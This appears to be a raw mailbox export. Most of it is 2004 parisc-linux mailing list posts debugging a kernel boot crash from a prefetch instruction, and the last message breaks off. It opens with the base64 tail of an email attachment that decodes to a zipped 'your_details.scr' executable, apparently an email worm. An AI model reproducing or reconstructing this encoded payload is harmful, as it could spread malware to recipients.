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
AAAAAPhCAgAAAAAABkMCAAAAAAASQwIAAAAAADQAAIAAAAAAS0VSTkVMMzIuRExMAEFEVkFQ
STMyLmRsbABVU0VSMzIuZGxsAFdJTklORVQuZGxsAFdTMl8zMi5kbGwAAABMb2FkTGlicmFy
eUEAAEdldFByb2NBZGRyZXNzAABFeGl0UHJvY2VzcwAAAFJlZ09wZW5LZXlBAAAAd3Nwcmlu
dGZBAAAASW50ZXJuZXRHZXRDb25uZWN0ZWRTdGF0ZQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABQSwECFAAKAAAAAAB6hJowmPl1ygBeAAAAXgAA
EAAAAAAAAAAAACAAAAAAAAAAeW91cl9kZXRhaWxzLnNjclBLBQYAAAAAAQABAD4AAAAuXgAA
AAA=

------=_NextPart_000_0016_00007924.00001E9E--




From - Thu Nov 08 21:31:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@engsoc.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [parisc-linux-cvs] linux-2.6 tausq
Date: Mon, 26 Apr 2004 16:24:46 -0400
Lines: 128
Approved: news@gmane.org
Message-ID: <20040426202446.GB19643@engsoc.org>
References: <20040426190305.E233C494595@palinux.hppa>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623411 9014 80.91.229.3 (22 Nov 2014 02:30:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:11 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: kyle@engsoc.org  Mon Apr 26 14:25:51 2004
Return-Path: <kyle@engsoc.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from stout.engsoc.org (stout.engsoc.carleton.ca [134.117.69.22])
	by dsl2.external.hp.com (Postfix) with ESMTP id 30DC04838
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 26 Apr 2004 14:25:51 -0600 (MDT)
Original-Received: from lager.engsoc.carleton.ca (lager.engsoc.carleton.ca
	[134.117.69.26])
	by stout.engsoc.org (8.12.3/8.12.3/Debian-6.6) with ESMTP id
	i3QKSmml009933 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 26 Apr 2004 16:28:48 -0400
Original-Received: from kyle by lager.engsoc.carleton.ca with local (Exim 3.36 #1
	(Debian)) id 1BICek-0007Sh-00
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 26 Apr 2004 16:24:46 -0400
Content-Disposition: inline
In-Reply-To: <20040426190305.E233C494595@palinux.hppa>
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 26 Apr 2004 20:25:51 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21532

On Mon, Apr 26, 2004 at 01:03:05PM -0600, Randolph Chung wrote:
> Log message:
> 2.6.6-rc1-pa4
> disable prefetchw for !pa20
> 

Oddly, this dies on boot on my B180.

The contents of IIR is the prefetch instruction (ldw 0(%r19), %r0).

Stack Dump:
 10410a18:  10410a18 00000057 00000056 00000055 
 10410a08:  00000054 00000053 00000052 00000051 
 104109f8:  00000050 0000004f 0000004e 0000004d 
 104109e8:  0000004c 0000004b 0000004a 00000049 
 104109d8:  00000048 00000047 00000046 00000000 
 104109c8:  10410680 0000001a 00000000 00000041 
 104109b8:  00000040 0000003f 0000003e 10106d1c 
 104109a8:  0000003c 0000003b 0000003a 00000039 
 10410998:  00000038 00000037 00000036 00000035 
 10410988:  00000034 00000033 00000032 00000031 
 10410978:  00000030 0000002f 0000002e 0000002d 
 10410968:  0000002c 0000002b 0000002a 00000029 
 10410958:  00000028 29fef004 29ff5870 1087a6f0 
 10410948:  10410508 00000023 00000022 00000021 
 10410938:  00000020 0000001f 0000001e 0000001d 
 10410928:  0000001c 0000001b 0000001a 00000019 
 10410918:  00000018 00000017 00000016 00000015 
 10410908:  00000014 00000013 00000012 00000011 
 104108f8:  00000010 0000000f 0000000e 0000000d 
 104108e8:  0000000c 0000000b 0000000a 00000009 
 104108d8:  00000008 00000007 00000006 0000001d 
 104108c8:  0000001c 0000001b 0000001a 00000019 
 104108b8:  00000018 00000017 00000016 1010c088 
 104108a8:  00000014 00000013 00000012 00000011 
 10410898:  00000010 0000000f 0000000e 0000000d 
 10410888:  0000000c 0000000b 0000000a 00000009 
 10410878:  00000008 00000007 00000006 00000005 
 10410868:  00000004 00000003 00000002 00000001 
 10410858:  00000000 00000000 00000000 00000000 
 10410848:  0e601080 00000010 00000000 00000000 
 10410838:  00000000 00000000 00000000 10176cb0 
 10410828:  10176cac 00000000 00000000 00000000 
 10410818:  00000000 00000000 00000000 00000000 
 10410808:  00000000 00000000 00000000 00000000 
 104107f8:  41000000 00000000 40800000 00000000 
 104107e8:  40000000 00000000 40000000 7fffffff 
 104107d8:  41800000 00000000 40200000 00000000 
 104107c8:  40200000 00000000 40300000 00000000 
 104107b8:  41000000 00000000 40800000 7fffffff 
 104107a8:  7fffffff 00000000 41000000 7fffffff 
 10410798:  7fffffff 00000800 00000400 00000200 
 10410788:  00000100 00000080 00000040 00000000 
 10410778:  00000000 00000010 00000010 00000000 
 10410768:  41800000 25b7ea20 45e69c6a 00000000 
 10410758:  00000000 e0000000 43ebebeb ffffffff 
 10410748:  7f7fffff 00000020 00000010 00000000 
 10410738:  00000000 00000000 00000000 00000000 
 10410728:  00000000 00000000 00000000 00000000 
 10410718:  0000001f 00000000 0000001f 00000000 
 10410708:  0000001f 00000000 000f0800 1016cad8 
 104106f8:  10410680 18701a80 00000000 103b6010 
 104106e8:  29ff5940 10410510 10410508 00001000 
 104106d8:  00000000 0000ffff 10840000 00000000 
 104106c8:  19ffffe0 f0000194 1037df04 1049b010 
 104106b8:  1043a810 1043a810 00000000 29fef001 
 104106a8:  00000003 29ff5940 10410510 0023ee05 
 10410698:  10410508 1087a6f0 29ff5870 29fef004 
 10410688:  1016c08c 104af010 0004ff0f 00000009 
 10410678:  00000009 00000009 00000009 10142d98 
 10410668:  00000009 00000009 00000009 00000009 
 10410658:  00000009 29ff0680 29ffb340 00000000 
 10410648:  29fef000 000000d0 29ff6ce0 00000009 
 10410638:  00000009 00000009 00000009 101778bc 
 10410628:  00000009 29fef004 10410408 29ff84a0 

Kernel addresses on the stack:
 [<10106a68>] parisc_terminate+0x60/0xb4
 [<10106d1c>] handle_interruption+0x260/0x560
 [<1010c088>] intr_check_sig+0x0/0xc
 [<10176cb0>] __d_lookup+0x88/0x174
 [<10142d98>] __get_free_pages+0x28/0x5c
 [<101778bc>] alloc_inode+0x28/0x184
 [<1016c08c>] do_lookup+0x30/0xc8
 [<101b3604>] ramfs_get_inode+0x1c/0x13c
 [<1016c6b0>] link_path_walk+0x58c/0xa08
 [<1016ce34>] path_lookup+0xc0/0x200
 [<1016d154>] __user_walk+0x5c/0x78
 [<1015c6d0>] sys_chown+0x28/0x70
 [<1041f17c>] do_name+0xf0/0x180
 [<1041f414>] write_buffer+0x4c/0x74
 [<1041f48c>] flush_buffer+0x50/0xa4
 [<1041f524>] flush_window+0x3c/0xa8
 [<10104438>] inflate+0xa0/0xcc
 [<10147290>] do_tune_cpucache+0x10c/0x17c
 [<10104838>] gunzip+0x338/0x57c
 [<1041e898>] malloc+0x10/0x1c
 [<1041f7a0>] unpack_to_rootfs+0x210/0x284
 [<1041f840>] populate_rootfs+0x2c/0x4c
 [<1041d344>] start_kernel+0x198/0x1f0

Kernel Fault: Code=26 regs=10410680 (Addr=00000000)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001001111111100001111 Not tainted
r00-03  00000000 104af010 1016c08c 29fef004
r04-07  29ff5870 1087a6f0 10410508 0023ee05
r08-11  10410510 29ff5940 00000003 29fef001
r12-15  00000000 1043a810 1043a810 1049b010
r16-19  1037df04 f0000194 19ffffe0 00000000
r20-23  10840000 0000ffff 00000000 00001000
r24-27  10410508 10410510 29ff5940 103b6010
r28-31  00000000 18701a80 10410680 1016cad8
sr0-3   00000000 00000000 00000000 00000000
sr4-7   00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: 10176cac 10176cb0
 IIR: 0e601080    ISR: 00000000  IOR: 00000000
 CPU:        0   CR30: 10410000 CR31: 10414000
 ORIG_R28: 00000000
 IAOQ[0]: __d_lookup+0x84/0x174
 IAOQ[1]: __d_lookup+0x88/0x174
 RP(r2): do_lookup+0x30/0xc8

Regards,
-- 
Kyle McMartin


From - Thu Nov 08 21:31:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [parisc-linux-cvs] linux-2.6 tausq
Date: Mon, 26 Apr 2004 16:29:04 -0400 (EDT)
Lines: 13
Approved: news@gmane.org
Message-ID: <200404262029.i3QKT5sE001532@hiauly1.hia.nrc.ca>
References: <20040426202446.GB19643@engsoc.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623411 9019 80.91.229.3 (22 Nov 2014 02:30:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:11 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: kyle@engsoc.org (Kyle McMartin)
Original-X-From: dave@hiauly1.hia.nrc.ca  Mon Apr 26 14:29:26 2004
Return-Path: <dave@hiauly1.hia.nrc.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 766F94838
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 26 Apr 2004 14:29:26 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	i3QKT5Gw001533; Mon, 26 Apr 2004 16:29:05 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id i3QKT5sE001532;
	Mon, 26 Apr 2004 16:29:05 -0400 (EDT)
In-Reply-To: <20040426202446.GB19643@engsoc.org> from "Kyle McMartin" at Apr
	26, 2004 04:24:46 pm
X-Mailer: ELM [version 2.4 PL25]
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 26 Apr 2004 20:29:26 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21533

> Oddly, this dies on boot on my B180.
> 
> The contents of IIR is the prefetch instruction (ldw 0(%r19), %r0).

> r16-19  1037df04 f0000194 19ffffe0 00000000

%r19 is 0.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:31:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [parisc-linux-cvs] linux-2.6 tausq
Date: Mon, 26 Apr 2004 13:30:50 -0700
Lines: 19
Approved: news@gmane.org
Message-ID: <20040426203050.GG3965@tausq.org>
References: <20040426202446.GB19643@engsoc.org>
	<200404262029.i3QKT5sE001532@hiauly1.hia.nrc.ca>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623412 9025 80.91.229.3 (22 Nov 2014 02:30:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:12 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: randolph@tausq.org  Mon Apr 26 14:30:50 2004
Return-Path: <randolph@tausq.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 33CFF4838
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 26 Apr 2004 14:30:50 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 4EA97CD299; Mon, 26 Apr 2004 13:30:50 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <200404262029.i3QKT5sE001532@hiauly1.hia.nrc.ca>
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 26 Apr 2004 20:30:50 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21534

In reference to a message from John David Anglin, dated Apr 26:
> > Oddly, this dies on boot on my B180.
> > 
> > The contents of IIR is the prefetch instruction (ldw 0(%r19), %r0).
> 
> > r16-19  1037df04 f0000194 19ffffe0 00000000
> 
> %r19 is 0.

prefetching on 0 is valid on pa20 tho.

willy is fixing this in the kernel now.

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:31:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [parisc-linux-cvs] linux-2.6 tausq
Date: Mon, 26 Apr 2004 22:09:23 +0100
Lines: 18
Approved: news@gmane.org
Message-ID: <20040426210923.GQ22558@parcelfarce.linux.theplanet.co.uk>
References: <20040426202446.GB19643@engsoc.org>
	<200404262029.i3QKT5sE001532@hiauly1.hia.nrc.ca>
	<20040426203050.GG3965@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623412 9027 80.91.229.3 (22 Nov 2014 02:30:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:12 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
	parisc-linux@lists.parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: willy@www.linux.org.uk  Mon Apr 26 15:09:28 2004
Return-Path: <willy@www.linux.org.uk>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk
	[195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id BAF944838
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 26 Apr 2004 15:09:28 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.22)
	id 1BIDLv-00074t-M0; Mon, 26 Apr 2004 22:09:23 +0100
Content-Disposition: inline
In-Reply-To: <20040426203050.GG3965@tausq.org>
User-Agent: Mutt/1.4.1i
Original-Sender: <willy@www.linux.org.uk>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 26 Apr 2004 21:09:29 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21535

On Mon, Apr 26, 2004 at 01:30:50PM -0700, Randolph Chung wrote:
> prefetching on 0 is valid on pa20 tho.

And required to be valid by the definition of the prefetch macros.

> willy is fixing this in the kernel now.

Not only did I fix it, but I put in a comment saying why we can't do
what I thought we could ;-)

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain


From - Thu Nov 08 21:31:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Linux-2.6.6-rc1-pa3 and pdflush problems
Date: Tue, 27 Apr 2004 07:29:59 +0100 (IST)
Lines: 71
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.58.0404270633310.31870@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416623412 9029 80.91.229.3 (22 Nov 2014 02:30:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:12 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: xam@cs.ucc.ie  Tue Apr 27 00:30:07 2004
Return-Path: <xam@cs.ucc.ie>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from csmail.ucc.ie (csmail.ucc.ie [143.239.211.231])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6294F4934
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 27 Apr 2004 00:30:07 -0600 (MDT)
Original-Received: from sal.ucc.ie (tqpc.ucc.ie [143.239.201.88])
	by csmail.ucc.ie (8.12.10/8.12.10) with ESMTP id i3R6U60o000951
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 27 Apr 2004 07:30:06 +0100
X-X-Sender: xam@sal.ucc.ie
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 27 Apr 2004 06:30:08 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21536

Hi,

I have experienced some problems with linux-2.6.6-rc1-pa0 and -pa3.
After running fine for around 10 hours, suddenly the
USB keyboard and mouse were not working anymore, and my friends
were not able to web access to the internet (which is routed through the
machine, with a transparent squid proxy set up that stores the
cache files on /dev/hda).

The LCD of my C3000 also showed some strange message instead of
'Linux-2.6.6-rc1-pa0' (I think I could read the letters HPMC somewhere,
but I didn't do a 'ser pim', since I forgot to clear it before, and
I didn't had my serial console cable handy).


I updated the kernel to -pa3, and now I could witness something strange
happening, again after about 11 hours running without problems:
Again the USB keyboard and mouse didn't work, the serial console
wouldn't respond to input, but printed out 'hda: lost interrupt',
'dma_mask=0x64' and 'retrying to recover interrupt' messages repeatedly.

This time I tried to ssh to the machine remotely and this worked,
and I was also able to ping to the internet, but - of course - the access
to the web wouldn't work, since the squid proxy would try to access /dev/hda.


However I was able to notice something rather odd:
